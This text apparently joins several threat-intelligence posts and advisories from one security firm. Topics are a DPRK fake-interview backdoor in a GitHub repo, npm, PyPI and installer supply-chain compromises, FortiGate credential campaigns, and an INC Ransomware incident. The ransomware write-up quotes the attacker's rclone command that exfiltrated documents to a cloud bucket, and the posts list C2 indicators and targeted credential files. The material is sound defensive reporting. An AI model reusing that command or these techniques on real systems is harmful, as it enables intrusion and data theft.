
Kudelski Security’s research team tracked a DPRK-linked cluster of individuals running the “Contagious Interview” campaign, operating from DPRK and China. Posing as recruiters on LinkedIn, WhatsApp, and Discord, the operators lure job-seeking developers into fake technical interviews and trick them into running malicious code.
This article explains how they operate and includes a backdoor analysis of a GitHub repository used in their fake interview workflow.
At the beginning of this year, we were able to gather contracts shared over LinkedIn and WhatsApp with potential collaborators who consented to open a laptop farm or individually give DPRK actors access to their laptop and identity to perform a range of tasks.



Following a contract signed between two of the parties, we observed that the actors also used the identity and machines of the collaborators to infiltrate CodeMentor (codementor[.]io), conduct 1:1 sessions with developers, and apply to freelance positions as a developer.
Once the contract was signed, we observed that they ran tests with .bat files whose contents we could not see. We assess with low confidence that these specific commands were linked to interviews conducted by them.

Nircmd is a command-line utility from NirSoft and is currently being used by DPRK-related actors to make victims execute .bat files on their system during coding interviews. As we could not read the contents of the .bat files, we do not know what those files do once executed on the system.
We can note that they mainly used three flags related to Nircmd: exec, win, and hide.
We think that the DPRK actor uses the combination of both flags, win and hide, either because they misunderstand the command utility or to evade detection based on Nircmd + exec + hide. In some cases, it should be Nircmd + exec + win + hide, so the analyst has to adapt the detection rule. You can find detection logic at the end of this article.
Over time, we observed that DPRK actors ran a scamming scheme by hiring external collaborators in Iran to act as interviewers. They mainly used VPS, residential proxies, and VPNs located in the region they were targeting. In fake interviews, they specifically targeted people related to the blockchain sector or developers who might have access to crypto companies.
For example, when they targeted Japan, they mainly connected through M247 Japanese ranges, connected to a VPS, or used an Astrill VPN node with a Japanese IP address.
Astrill VPN allows malicious actors to do port forwarding over their C2 to hide their servers behind Astrill VPN services.

This is the main reason DPRK actors use Astrill VPN for their malicious campaigns. It also helps because some of their operators are located within China, giving them easier access to the internet outside China or North Korea without being restricted.
They mainly pay for this service with stolen credit cards.
In our previous research, we observed with medium confidence that North Korea had direct connections with Chinese ISPs such as ZTE, which could probably give them Chinese IPs instead of North Korean IPs. Even if the connection we found is not active, it is still useful for infrastructure analysis.

We also saw in a research article from the GitLab Threat Intelligence team that some North Korean IT worker cells can operate within Chinese universities at joint research centre facilities used as cover for malicious activity outside North Korea. That suggests their source IPs may originate from China as well.
As we apply a specific marker to threats against Switzerland, we observed that a GitHub repository named Ajuna-solution impersonated a Swiss company named Ajuna-network to likely spread malware and compromise interviewees during fake coding interviews led by fake recruiters linked to DPRK. This campaign has been named Contagious Interview and is already well documented. This time, we decided to give an overview of what we could see from this campaign.
The entirety of this GitHub repository was trojanized, and this analysis is broken down into multiple parts that we found relevant:

To launch the application, the user must perform an npm install, which triggers a prepare step that starts a Node server as a background task compatible with Windows and Linux. After that, it launches server.js, which enables the backdoor described below.
Once we open “routes/api/auth.js” on the repository

The code appears legitimate, but it uses a common technique to trick users by placing 721 spaces after module.exports = router; and appending obfuscated malicious code. It was probably generated using the obfuscator[.]io engine, based on structural patterns such as identifiers that start with _0x followed by hexadecimal digits, and a custom decoder that does not use native atob to decode strings but instead uses a custom base64 function based on a non-standard alphabet with a lowercase-first order.

Once de-obfuscated, we can identify the backdoor logic as six distinct parts.


This first reconnaissance stage gathers the hostname and the operating system, including the kernel version and platform. The IPv4 family is used only as a filtering criterion to select the right interface and exclude internal interfaces and null MAC addresses. The public IP address does not appear to be collected. Only the MAC address seems to be used as a stable machine identifier.

Within sendRequest(), the collected data is serialized with JSON.stringify and passed as URL parameters, along with the entire process environment (process.env). This means it can steal API keys, tokens, and other secrets.
We also noted that the actor left a marker in the tid field: now it time to get everything. It is likely used to identify or reroute the data within their C2.

Once the base64 is decoded we can now know the C2 and the endpoint behind these communications hxxp://138.201.128[.]169:1224/api/checkStatus.
We can now know that the structure follow this patterns <IP>:1224/api/<Value>
We see that the server is hosted at Hetzner a German VPS provider, we can also see from abuseipdb that this same IP has been reported 1 year ago as the sender of 1200+ phishing emails that can indicate an infrastructure reuse but we can’t confirm it.

The C2 response is parsed as JSON, and if the field status is equal to error, this signals that the message field carries a command that is passed to eval().
The interesting part here is that it uses the error message to catch a condition, which is unusual.

For session handling, the C2 returns an identifier that is stored in SysID, which can give the attacker a tracking ID for each infected host.

On load, the implant runs getSystemInfo() and store the result into s, the data is sent to the C2 without any external trigger. A beacon is sent every 5 seconds and maintains a channel for the C2 to execute commands remotely. If the initialization fails, the error is logged and the process exits with an exit code of 1.

We would like to note that Axios has been called without being used on this project and is installed via NPM, this remains suspicious even if version 1.14.0 has not been impacted by the Axios supply chain attack. According to Google threat intelligence group the following version were compromised 1.14.1 and 0.30.4. One version after the one that was installed.

If you open the project with. vscode it will automatically execute commands hidden by 564 spaces on the “env” task.

Once executed by tasks.json, powershell will use the “-Command” flag + the command within the task, it would appear like this on windows:
“<Absolute path\Powershell.exe> -Command <Commandline in the task>”

They made the execution of these commandlines possible on OSX, Linux and Windows. Once executed it create a. vscode folder in “C:\Users\%USERNAME%\”, install node.js, pull and execute “env.npl” which is the exact same backdoor that we analyzed on “routes/api/auth.js”.

Based on the collected events, we can partially reconstruct what happened during these interviews. The fake interviewer asked the candidate to install the dependencies of the project with npm install. If the candidate did not want to do it, the interviewer would ask them to open the project in VS Code. That action would trigger the backdoor due to the env task located in .vscode/tasks.json.
This is a compromise technique likely combined with social engineering, where the fake interviewer pushes the candidate to perform actions that look benign but in fact trigger the attacker’s backdoor.
If you are targeted by DPRK-related actors, we recommend that organizations use Suricata rules over raw network logs, as North Korean campaigns often reuse the same techniques and malware.
As the Contagious Interview campaign is a human-factor problem, we recommend raising employee awareness around fake interviews, because the use of social engineering makes detection harder.
I use Yara here because this is simpler to document and I just want to show the logic of the rule.
Hudson rock for the stealer logs (I used it to gather PowerShell commands and contracts only)
https://about.gitlab.com/blog/gitlab-threat-intelligence-reveals-north-korean-tradecraft/
https://cloud.google.com/blog/topics/threat-intelligence/north-korea-threat-actor-targets-axios-npm-package
If your team wants help investigating advanced threat activity, improving detection for social engineering-led intrusion chains, or strengthening defenses against campaigns like Contagious Interview, contact Kudelski Security to speak with our experts.
A software supply chain attack targeting the market intelligence platform Klue resulted in unauthorized access to customer integrations and subsequent data exfiltration from downstream SaaS applications, including CRM systems.
The intrusion began when a threat actor compromised Klue's backend environment and introduced malicious code designed to harvest OAuth tokens used by customer integrations. These tokens were then leveraged to access connected third-party services and extract data directly from customer environments.
One of the impacted organizations includes Huntress, along with other Klue customers. The exposed data primarily consisted of CRM and sales-related information, with no indication of compromise to product infrastructure, engineering systems, threat telemetry, payment data, or passwords.
The incident impacted organizations using Klue integrations with the following third-party services:
Scope of impact:
The intrusion originated when a long-unused but still active credential associated with Klue was leveraged to gain initial access to its backend systems. The threat actor used this foothold to deploy malicious code into integration workflows, specifically targeting mechanisms responsible for handling customer OAuth tokens. These tokens, which are used to authorize connections between Klue and third-party SaaS platforms, were covertly harvested as they were processed.
Once the attacker obtained valid OAuth credentials, they pivoted into downstream customer environments and used the stolen tokens to authenticate directly against integrated services. This enabled them to perform API-driven queries against connected systems, including CRM platforms such as Salesforce, where they systematically extracted records through standard query endpoints. The activity was characterized by automated data retrieval at scale, consistent with bulk CRM data enumeration rather than interactive user behavior.
From there, the attacker leveraged the compromised integrations to access additional connected services, including sales and collaboration platforms, and exfiltrated structured business data such as contacts, pricing information, sales communications, and internal notes. The attack ultimately demonstrated a chained supply chain compromise, where a single upstream integration failure enabled cascading unauthorized access across multiple downstream environments.
/services/data/v59.0/query/ endpoints"5238")Python-urllib/3.12Python-urllib/3.14Organizations potentially impacted by similar integrations should take the following actions:
/services/data/v59.0/query/138.226.246[.]94212.86.125[.]24213.111.148[.]9094.154.32[.]160(Updated June 23)
A large-scale, ongoing intrusion campaign targeting Fortinet infrastructure has been observed impacting internet-facing firewalls and VPN gateways worldwide. The operation, widely referred to as “FortiBleed,” primarily and definitely involves credential reuse, stealing, and brute force. According to Fortinet, “Based on our initial analysis, we believe the activity involves threat actors reusing credentials from previous incidents and employing brute-force techniques against devices with weak password hygiene and no multi-factor authentication (MFA).” Other researchers suggest the campaign may also involve the exploitation of a number of recent vulnerabilities affecting Fortinet products to achieve initial access and maintain persistence within enterprise environments, but no clear link has been established to the FortiBleed campaign.
The campaign is notable for its scale and automation. Attackers are not relying on a single exploit path; instead, they use a continuous cycle where stolen credentials, brute-force attempts, and intercepted authentication data are reused to expand access across thousands of organizations globally. This has resulted in widespread compromise affecting tens of thousands of devices across more than 190 countries, including critical infrastructure and major multinational enterprises.
Organizations can check whether their company has been exposed through the FortiBleed lookup tool provided by Hudson Rock, and affected customers are being contacted directly as part of ongoing coordinated disclosure efforts to support remediation and incident response.
The following systems and applications are impacted or actively targeted. Vulnerabilities listed may have contributed to spreading FortiBleed's reach, but this is unconfirmed and the list is not exhaustive. In any case, it is strongly recommended to ensure these vulnerabilities have been patched.
The intrusion chain typically begins with large-scale internet scanning to identify exposed Fortinet devices. Once discovered, attackers attempt authentication using vast datasets of previously leaked credentials, many of which originate from infostealer malware infections or older breaches. This credential-stuffing phase alone accounts for billions of login attempts, indicating a highly automated infrastructure designed for continuous exploitation.
When credentials are insufficient, attackers escalate by attempting brute-force authentication or, possibly in a subset of cases, exploiting known vulnerabilities in Fortinet products. Recently patched flaws - such as authentication bypass and remote command execution vulnerabilities in FortiSandbox and FortiClient EMS - are actively being weaponized in the wild, though again, there is no definitive link to FortiBleed. Some exploit attempts appear to be rapidly generated or AI-assisted, although not all are immediately functional.
A particularly concerning aspect of this campaign is the interception of SSL VPN authentication data. Attackers capture authentication material during login sessions and then crack it offline using GPU-accelerated systems. Once valid access is obtained, compromised devices are used as monitoring points inside enterprise perimeters, allowing attackers to observe network traffic and harvest additional credentials.
Post-exploitation activity typically involves persistence within VPN and firewall management interfaces, followed by lateral movement into internal systems such as Active Directory. In addition to building a catalogue of compromised organizations intended to be sold, this enables the attackers to escalate privileges, move across internal segments, and extract sensitive data. In several documented cases, organizations experienced full network compromise and data exfiltration, including entities in critical infrastructure and defense-related sectors.
Organizations should immediately implement the following defensive measures:
Accounts present on Fortinet devices:
Credentials associated with FortiBleed include default accounts as well as those of indeterminate origin - possibly used by MSPs to manage deployments, possibly created for persistence by campaign operators - like adminin, fgtsecure and many others. A small set of passwords appears across many unrelated brands and localities. For a more complete overview of this aspect of the campaign and in the interest of not re-publicizing possibly valid credentials in an easily scrapable format, have a look at CloudSEK's analysis of the open directory which was accidentally left exposed by FortiBleed operators.
IP addresses:
A sophisticated supply chain attack has compromised official DAEMON Tools installers, distributing malware signed with valid digital certificates since April 8, 2026. Discovered by Kaspersky, the incident involves trojanized versions of the software that activate an implant upon execution, enabling targeted malware delivery to a highly selective subset of victims globally. The attack, still active at time of writing, leverages legitimate software distribution channels to bypass initial security controls, demonstrating a high degree of operational security by the threat actors.
12.5.0.2421 to 12.5.0.2434.DTHelper.exe, DiscSoftBusServiceLite.exe, and DTShellHlp.exe. These files retain valid digital signatures belonging to the original developers, which helps evade signature-based detection.env-check.daemontools[.]cc (registered on March 27, 2026) to receive shell commands that are subsequently executed via cmd.exe.envchk.exe: A .NET executable designed for extensive system information collection.cdg.exe and cdg.tmp: cdg.exe acts as a shellcode loader that decrypts and executes cdg.tmp, a minimalist backdoor capable of downloading files, running shell commands, and executing shellcode in memory.notepad.exe and conhost.exe. This advanced backdoor indicates a tailored, high-value targeting strategy rather than indiscriminate mass infection.Infected DAEMON Tools Lite installers
9ccd769624de98eeeb12714ff1707ec4f5bf196d (12.5.0.2421)
50d47adb6dd45215c7cb4c68bae28b129ca09645 (12.5.0.2422)
0c1d3da9c7a651ba40b40e12d48ebd32b3f31820 (12.5.0.2423)
28b72576d67ae21d9587d782942628ea46dcc870 (12.5.0.2424)
46b90bf370e60d61075d3472828fdc0b85ab0492 (12.5.0.2430)
6325179f442e5b1a716580cd70dea644ac9ecd18 (12.5.0.2431)
bd8fbb5e6842df8683163adbd6a36136164eac58 (12.5.0.2433)
15ed5c3384e12fe4314ad6edbd1dcccf5ac1ee29 (12.5.0.2434)Modified DiscSoftBusServiceLite.exe
524d2d92909eef80c406e87a0fc37d7bb4dadc14
427f1728682ebc7ffe3300fef67d0e3cb6b62948
8e7eb0f5ac60dd3b4a9474d2544348c3bda48045
00e2df8f42d14072e4385e500d4669ec783aa517
aea55e42c4436236278e5692d3dcbcbe5fe6ce0b
0456e2f5f56ec8ed16078941248e7cbba9f1c8eb
9a09ad7b7e9ff7a465aa1150541e231189911afb
8d435918d304fc38d54b104a13f2e33e8e598c82
64462f751788f529c1eb09023b26a47792ecdc54C:\Windows\Temp\envchk.exe
2d4eb55b01f59c62c6de9aacba9b47267d398fe4C:\Windows\Temp\cdg.exe
C:\Windows\Temp\imp.tmp
C:\Windows\Temp\piyu.exe
9dbfc23ebf36b3c0b56d2f93116abb32656c42e4
295ce86226b933e7262c2ce4b36bdd6c389aaaefC2
env-check.daemontools[.]cc
38.180.107[.]76env-check.daemontools[.]cc.DTHelper.exe, DiscSoftBusServiceLite.exe, DTShellHlp.exe) and associated payloads (envchk.exe, cdg.exe, cdg.tmp).The Cyber Fusion Center (CFC) is monitoring the situation and will issue advisory updates as needed. A threat hunting campaign will be conducted to identify activity related to this attack.
A sophisticated supply chain attack, dubbed "Mini Shai Hulud" has been attributed to the threat actor group TeamPCP. This operation involves the compromise of SAP-related npm packages through the injection of malicious preinstall scripts. The attack aims to harvest developer and CI/CD secrets from platforms such as GitHub, npm, and major cloud providers, with exfiltration occurring via attacker-controlled GitHub repositories.
The campaign has expanded beyond the initial SAP package ecosystem to compromise high-profile packages in the PyPI (lightning aka PyTorch Lightning) and npm (intercom-client) registries. The threat actors have shifted tactics to leverage automated CI/CD workflows and compromised maintainer accounts to distribute malicious versions, indicating a highly coordinated and automated propagation strategy.
The attack targets specific npm packages within the SAP ecosystem, including:
@cap-js/sqlite - v2.2.2@cap-js/postgres - v2.2.2@cap-js/db-service - v2.10.1mbt - v1.2.48These packages have been modified to include malicious preinstall scripts that execute during the npm install process.
lightning (PyTorch Lightning) versions 2.6.2 and 2.6.3intercom-client version 7.0.4The attack begins with the execution of a setup.mjs script, which downloads the Bun runtime and executes an obfuscated payload (execution.js). This payload acts as a credential stealer and propagation framework, targeting developer environments and CI/CD pipelines. It collects sensitive data, including:
Exfiltration is conducted via public GitHub repositories using encrypted payloads. The malware includes logic to propagate to additional repositories and package distributions. Notably, the operation employs a system check to terminate if the compromised machine is configured for the Russian language, ensuring no data is exfiltrated from Russian-speaking systems.
The attack also introduces browser credential theft capabilities, targeting multiple browsers such as Chrome, Safari, Edge, Brave, and Chromium.
lightning package includes a hidden _runtime directory containing a downloader and an obfuscated JavaScript payload. A Python script (start.py) automatically executes upon module import, downloading the Bun runtime and running an 11 MB obfuscated payload (router_runtime.js) designed for comprehensive credential theft.postinstall hook into the package.json file, increments the patch version number, and repacks the .tgz tarballs. If a developer inadvertently publishes these tampered packages, the malware propagates to downstream systems.Security teams should take the following steps to mitigate the impact of this attack:
setup.mjs, execution.js).lightning versions 2.6.2 and 2.6.3, as well as intercom-client version 7.0.4. Remove these packages from all developer systems and CI/CD caches if already installed.lightning 2.6.1 and/or intercom-client 7.0.3 at time of writing to restore functionality without the malicious payload.The Cyber Fusion Center (CFC) continues to actively monitor the situation and will issue advisory updates as needed. A threat hunting campaign regarding the above activity will be conducted.
This is not a story about a novel exploit chain or a nation-state implant. There is no zero-day in this Incident Response engagement, no supply chain compromise, no sandbox escape. This is a story about a FortiGate admin panel on the internet, an account that should have been disabled two years ago, a service account that should never have been Domain Admin, and a SQL server that somehow never got the EDR agent.
None of these are new problems. All of them are on every hardening checklist ever written. Together, they gave INC Ransomware operators everything they needed to exfiltrate about 400 gigabytes of business data and detonate ransomware across the environment in under 48 hours.
We are publishing this case not because it is unusual, but because it is not. The same combination of third-party access sprawl, stale accounts, over-privileged service accounts, and incomplete security tooling exists in most environments we assess. The attackers did not need to be clever. They just needed the basics to be broken.
Year after year, the two dominant initial access vectors in ransomware incidents remain weak or stolen credentials and unpatched vulnerabilities. This case is a textbook example of the first. And once inside, the attackers did exactly what we see in every engagement: they searched for unmanaged assets, systems outside the security stack's visibility, to stage their operations. The SQL server without EDR became the exfiltration platform. None of this required sophistication.
The threat actor started by brute-forcing the victim's internet-facing FortiGate management interface. No rate limiting, no account lockout, no MFA. A local admin account fell to credential stuffing from a rotating set of IPs across Russia, Iran, Brazil, and various proxy providers. The login succeeded. Nobody noticed.
About two weeks later, the attacker downloaded the FortiGate configuration backup. FortiGate configs contain local user credentials (often reversible) and full SSL VPN settings. From this single file, the attacker pulled credentials for two accounts:
A stale partner account belonging to a former employee of the victim's managed services provider. Last legitimate login: over two years prior. The employee had left the partner company, but the victim's account was never disabled.
A FortiGate service account with a password unchanged for 1,408 days. This account had Domain Admin privileges.
Two accounts. One forgotten, one over-privileged. Both with passwords sitting in a config file on an internet-facing appliance.
Roughly four weeks after the config download, the attacker logged into the FortiGate GUI and added the stale partner account to the SSL VPN user group. Minutes later, the account connected via VPN. From the SOC's perspective, this looked normal: a known partner account connecting over VPN. No alerts fired because nothing about it was technically anomalous, except that the human behind the account had not worked there in over two years.
The gap between obtaining credentials and using them matters. Weeks of inactivity between the config download and VPN activation suggest the initial access broker who compromised the FortiGate likely sold or handed off access to the INC Ransomware operators during this window, a common pattern in the ransomware-as-a-service ecosystem.
The next day, the operators switched to the FortiGate service account. Domain Admin. Nearly four-year-old password. Interactive login enabled.
The service account started RDP sessions across the environment: file servers, hypervisors, the ERP system, domain controllers, the Veeam backup server. 17 systems in total.
First actions on target were basic reconnaissance, enumerating shares and launching a command shell:

Login records from the domain controller revealed a Kali Linux hostname among the connecting systems, confirming hands-on-keyboard operation from an offensive Linux distribution:

On the Veeam backup server, the attacker reset the backup service account password from the command line. The EDR agent captured it in real time:

This is a deliberate move to slow down recovery and create persistence.
The victim had a commercial EDR solution deployed. But the SQL server holding the organization's critical business data did not have the agent installed. It was only onboarded the day after the attack, likely by the managed services partner scrambling to respond.
This is what attackers look for. They do not need to evade EDR if they can find a server that does not have it. An unmanaged asset with access to sensitive data is the perfect staging point.
Within hours of the first lateral movement, the attacker ran Rclone on the unmonitored SQL server:
rclone.exe copy Z: was4:<bucket>/share--ignore-existing
--transfers=32--multi-thread-streams=32
--multi-thread-cutoff=12M--max-size=25M
--include"*.{xls,pdf,xlsx,doc,docx,txt}"
--max-age=3y --progress -vv
Only office documents and PDFs. Only files from the last three years. 32 parallel streams to maximize throughput.
The firewall captured every PUT request. The user-agent string, rclone/v1.72.1, is right there in the logs, along with the destination hostname:

The exfiltration ran for roughly 21 hours. About 410 gigabytes left the network. No EDR alert, because there was no EDR on that server. The firewall logs recorded the volume, but nobody was watching outbound traffic from a server that had no business talking to cloud storage.
Hours after the exfiltration completed,
win.exe dropped into \Users\Public\Pictures\ and executed the INC Ransomware
The EDR blocked it on every host where it was deployed. The systems without the agent were encrypted.
The incident response team was engaged the following morning. The managed services partner restored 17 VMs from backup.

Every step of this attack exploited a gap that shows up in penetration test reports and audit findings year after year.None of them are hard to understand. All of them are hard to sustain operationally, which is why they persist.
The two dominant initial access vectors in ransomware incidents remain weak or stolen credentials and unpatched vulnerabilities. In this case, credentials alone were enough. Abrute-forced admin panel led to a config file with extractable passwords, which led to a stale account with VPN access, which led to a service account with Domain Admin. Each link in that chain was a credential management failure.
The other pattern: attackers actively seek unmanaged assets. The SQL serverwithout EDR became the exfiltration platform precisely because it was invisible to the security stack. If your tooling does not see a system, that system iswhere the attacker will operate from.
Here are the specific controls that wouldhave broken this attack chain at each stage.
Lockdown network appliance management. Restrict FortiGate admin access to a management VLAN or jump host. The admin panel should never be reachable from the public internet. Enable login attempt throttling and account lockout. Enable MFA on all admin accounts. Audit local accounts quarterly and remove any that are not actively needed.
Control third-party access lifecycle. Require partners to notify you of staffing changes within 48 hours and write it into the service agreement. Run a monthly stale account report: any domain account with nointeractive login in 90 days gets disabled automatically, 180 days deleted. Tag all third-party accounts in AD with a custom attribute (partner name, contract expiry) so they are auditable as a group. Restrict third-party VPN sessions to specific source IP ranges or require client certificate authentication.
Eliminate over-privileged service accounts. Audit every account in Domain Admins, Enterprise Admins, and Administrators. Migrate service accounts to Group Managed Service Accounts (gMSA) with the minimum privileges they actually need. Disable interactive login for service accounts. Enforce a maximum password age of 365 days for any account that cannot use gMSA. A 1,408-day-old password is indefensible.
Achieve 100% EDR coverage. Treat incomplete EDR deployment as a critical finding, not a backlog item. Every server gets the agent, no exceptions. Reconcile EDR agent inventory against your CMDB weekly. Any host inAD or your hypervisor inventory but missing from the EDR console is a gap that needs same-day remediation. Pay extra attention to data-tier servers: SQL, fileservers, NAS, backup servers. These are the exfiltration sources.
Restrict and monitor server egress. Default-deny outbound internet access for all servers. Block cloud storage providers at the firewall for server subnets: Wasabi, Mega, AWS S3 (unless specifically needed), Backblaze, pCloud. There is no reason a SQL server should resolve wasabisys.com. Alert on outbound transfers exceeding a baseline threshold. If a server that normally sends 2 GB/day suddenly pushes 50 GB, that is a detection opportunity.
Protect backup infrastructure. Isolate Veeam and other backup servers on a dedicated management VLAN with strict access controls. Use unique, complex credentials for backup service accounts that are not stored in the same AD as production accounts. Enable immutable backups or air-gapped copies. The attacker changed the Veeam password to prevent recovery. Immutable storage makes that move irrelevant.
BlueHammer is a publicly disclosed zero-day local privilege escalation (LPE) vulnerability affecting Microsoft Windows systems via Microsoft Defender. A working proof-of-concept (PoC) exploit has been released publicly, enabling attackers with low privileges to escalate up to NT AUTHORITY\SYSTEM, effectively gaining full control of the host. This is particularly critical as it impacts fully patched systems, has a low barrier to exploitation, and there is no official patch available to mitigate it. It is important to note that this does require local access to the system along with the ability to execute code as a low-privileged user.
BlueHammer exploits weaknesses in the Microsoft Defender signature update workflow, rather than the scanning engine itself. The vulnerability chain combines a Time-of-Check to Time-of-Use (TOCTOU) race condition with path confusion and symbolic link manipulation, allowing attackers to redirect privileged file operations.
The exploit operates by interacting with Defender’s internal RPC interface (IMpService) to trigger the signature update process. It leverages legitimate update behavior by downloading signature files (such as mpasbase.vdm) from Microsoft servers, then uses opportunistic locking (oplocks) to pause execution at a critical moment. During this race window, the attacker replaces expected file paths using NTFS junctions, reparse points, and Object Manager symbolic links, effectively redirecting operations performed by Defender running as SYSTEM. Advanced techniques such as the Windows Cloud Files API and Volume Shadow Copy mechanisms are used to reliably win the race condition. As a result, Defender executes privileged actions on attacker-controlled paths, enabling escalation to SYSTEM-level access.
Impact capabilities include: - SYSTEM-level shell access (hosts) / Administrator-level access (servers) - Credential dumping (e.g., NTLM hashes) - Full system compromise, including persistence and lateral movement
While exploitation requires precise timing and is not fully reliable, it is considered operationally viable and dangerous due to public PoC availability.
No official patch is currently available.
Recommended defensive actions: - Enforce least privilege principles - Restrict local and interactive access - Monitor Defender-related activity and update processes
The Cyber Fusion Center (CFC) is actively monitoring the situation and will issue advisory updates as needed.
A supply chain attack targeting the Apifox desktop client was detected by the SlowMist security team in March 2026. Attackers compromised an official CDN-hosted JavaScript file (apifox-app-event-tracking.min.js), injecting malicious code disguised as analytics tracking functionality. The compromised script was automatically executed by the Electron-based desktop application without requiring user interaction, resulting in the theft of authentication credentials, system information, and API credentials, as well as enabling remote code execution (RCE) capabilities on affected systems.
apifox-app-event-tracking.min.js)CDN Compromise and Script Injection: - The official CDN-hosted file apifox-app-event-tracking.min.js was tampered with at the source, injecting malicious JavaScript into a trusted analytics script - Because Apifox is built on Electron, the desktop application automatically loads this script on every startup and during normal operation, executing the malicious payload without any user action or consent.
Once executed within the Apifox Electron runtime, the payload performed the following actions: - Extracted authentication tokens from the application's local storage, specifically targeting common.accessToken and related session data. - Executed system commands (ps aux on macOS/Linux, tasklist on Windows) to enumerate running processes. - Targeted the following files and directories for exfiltration: - ~/.ssh/ - SSH private and public keys - ~/.git-credentials Git authentication credentials - ~/.zsh_history / ~/.bash_history - Shell command history - ~/.kube/* - Kubernetes cluster configurations and tokens - ~/.npmrc - npm registry authentication tokens - ~/.zshrc - Zsh configuration (may contain secrets) - ~/.subversion/* - SVN credentials - Stolen data transmitted to C2 servers via RSA-encrypted channels, tagged with custom HTTP headers/fields: af_uuid, af_os, af_user, af_name, af_apifox_user, af_apifox_name. - Retrieved and executed arbitrary remote payloads from C2 infrastructure, establishing a persistent backdoor. - A built-in randomized timer triggered continuous data theft and payload fetch cycles throughout the application's runtime.
_rl_headers and _rl_mc keys from Apifox's LevelDB storage via the developer console: localStorage.removeItem(‘_rl_headers’);localStorage.removeItem(‘_rl_mc’);DomainNotesapifox[.]it[.]comPrimary C2 domain, hosted on Cloudflare, active 18 days, now offlinecdn[.]openroute[.]devSecondary C2 / payload deliveryupgrade[.]feishu[.]it[.]comC2 communication endpointsystem[.]toshinkyo[.]or[.]jpC2 communication endpoint*[.]feishu[.]it[.]comWildcard subdomain used for C2ns[.]openroute[.]devDNS infrastructure related to attack
IndicatorValueCompromised Fileapifox-app-event-tracking.min.jsSHA25691d48ee33a92acef02d8c8153d1de7e7fe8ffa0f3b6e5cebfcb80b3eeebc94f1Original Size~34 KBCompromised Size~77 KB
_rl_headers and _rl_mc keys in Apifox LevelDB local storageps aux or tasklist execution spawned from the Apifox/Electron process tree~/.ssh/, ~/.git-credentials, ~/.kube/, ~/.npmrcThe CFC continues to monitor the situation and is in the process of building a threat-hunting campaign to identify related activity. This advisory will be updated if required.
On March 31, 2026, StepSecurity identified a sophisticated supply chain attack involving the compromise of two versions of the popular axios HTTP client library on npm: [email protected] and [email protected]. These versions were published using compromised npm credentials of a lead axios maintainer, bypassing the usual CI/CD pipeline. The attack involved injecting a malicious dependency, [email protected], which executed a postinstall script deploying a cross-platform remote access trojan (RAT). This RAT targeted macOS, Windows, and Linux systems, establishing a connection with a command-and-control server to deliver platform-specific payloads.
The Safe Version Reference is: [email protected] (safe) · shasum: 7c29f4cf2ea91ef05018d5aa5399bf23ed3120eb
Immediate Actions: - Downgrade to safe axios versions: [email protected] or [email protected]. - Remove plain-crypto-js from node_modules and reinstall dependencies with npm install --ignore-scripts. - Check for RAT artifacts on affected systems and treat them as fully compromised if found.
Preventive Measures: - Use --ignore-scripts in CI/CD pipelines to prevent postinstall hooks from executing. - Block C2 traffic at the network/DNS layer. - Rotate all credentials on systems where the malicious package ran.
For StepSecurity Enterprise Customers: - Utilize Harden-Runner to enforce network egress allowlists and detect anomalous network traffic. - Deploy StepSecurity Dev Machine Guard for real-time visibility into npm packages installed on developer devices.
The CFC is monitoring the situation and analyzing the case to launch potential threat-hunting campaigns. This advisory will be updated if required.
In March 2026, the TeamPCP threat actor compromised the open-source vulnerability scanner Trivy and distributed credential-stealing payloads through its official distribution channels. We investigated two separate clients affected by two distinct variants of this campaign: one through the compromised GitHub Action (trivy-action), the other through the compromised container image binary itself. Each variant operates differently, carries different capabilities, and requires a different investigative approach.
This post walks through both investigations: how we reverse-engineered each payload, what we found in the cloud audit trail following AWS secrets theft, and what the binary variant reveals about the attacker's ambitions beyond CI/CD credential theft. For the technical details of the supply-chain compromise mechanics, we refer the reader to CrowdStrike, Wiz, Rami McCarthy, and Microsoft.
On March 19, 2026, threat actor TeamPCP compromised the aquasecurity/trivy-action GitHub Action and the Trivy container image (v0.69.4), distributing credential-harvesting payloads through Docker Hub, ECR, and GHCR. The campaign later expanded to npm packages (28 infected via a self-propagating worm), Checkmarx KICS GitHub Actions, OpenVSX extensions, and the LiteLLM PyPI package. This was a sustained, multi-ecosystem supply-chain operation spanning nearly a month.
The malicious commit to trivy-action is still publicly accessible on GitHub. It injects malicious code into entrypoint.sh that execute before the legitimate Trivy scan. The payload operates in three stages:
Stage 1 reads /proc/PID/environ for the current process and any running Runner.Worker, Runner.Listener, runsvc, or run.sh processes. It captures environment variables matching env or ssh in the key name, and if a value points to a file on disk, reads that file too.
Stage 2 forks based on RUNNER_ENVIRONMENT. On GitHub-hosted runners, it scrapes the Runner.Worker process memory for JSON secrets structures. On self-hosted or GitLab runners, it executes a base64-encoded Python filesystem harvester signed "TeamPCP Cloud stealer" that reads SSH keys, cloud credentials, Kubernetes configs, Docker credentials, .env files, terraform state, shell history, database configs, TLS private keys, and cryptocurrency wallets, walking multiple directories up to 6 levels deep, matching over 100 file paths.
Stage 3 encrypts the collected data with AES-256-CBC (random session key wrapped with a hardcoded 4096-bit RSA public key), bundles it as tpcp.tar.gz, and POSTs to scan.aquasecurtiy[.]org. If the POST fails and a GitHub PAT is available, it creates a public repository named tpcp-docs and uploads the bundle as a release asset.
When a credential stealer runs in your CI/CD pipeline, the natural reaction is to assume everything is compromised. That creates noise without clarity. Instead, we wanted to know precisely what the attacker received.
We replicated every check from the malicious payload (identical paths, glob patterns, recursive walk depths, and match functions) in an audit script, then ran it on a container configured to match the client's production GitLab runner environment.
.webp)
The simulation confirmed the exact set of exfiltrated credentials: two distinct AWS key pairs with broad permissions, several CI/CD service tokens, and the full printenv output with all secrets in cleartext. Just as importantly, it confirmed what was not exposed: no SSH keys, no cloud credential files on disk, no Docker registry configs, and ephemeral containers with no persistent backdoor risk.
This gave us a definitive inventory to trace through CloudTrail. No guesswork, no FOMO-driven mass rotation.
We performed an exhaustive CloudTrail search across all 29 AWS regions on both compromised keys from four distinct source IPs.
The first IP to touch the stolen keys ran TruffleHog to validate that the credentials were live. The TruffleHog user agent appears directly in CloudTrail. The attacker then enumerated IAM users, roles, Lambda functions, DynamoDB tables, CloudFormation stacks, and scanned every S3 bucket's ACL and public access configuration. Services outside the compromised policy (EC2, RDS, SecretsManager) returned AccessDenied.
The attacker scanned 24 S3 buckets, including 9 terraform state buckets. The organization's CloudTrail was configured for management events only. S3 data events (GetObject, PutObject) were not enabled. We could see the attacker map every bucket and check every ACL, but not whether they downloaded anything.
With s3:* permissions and no data event logging, we assessed that the contents of all 24 scanned buckets should be treated as compromised.
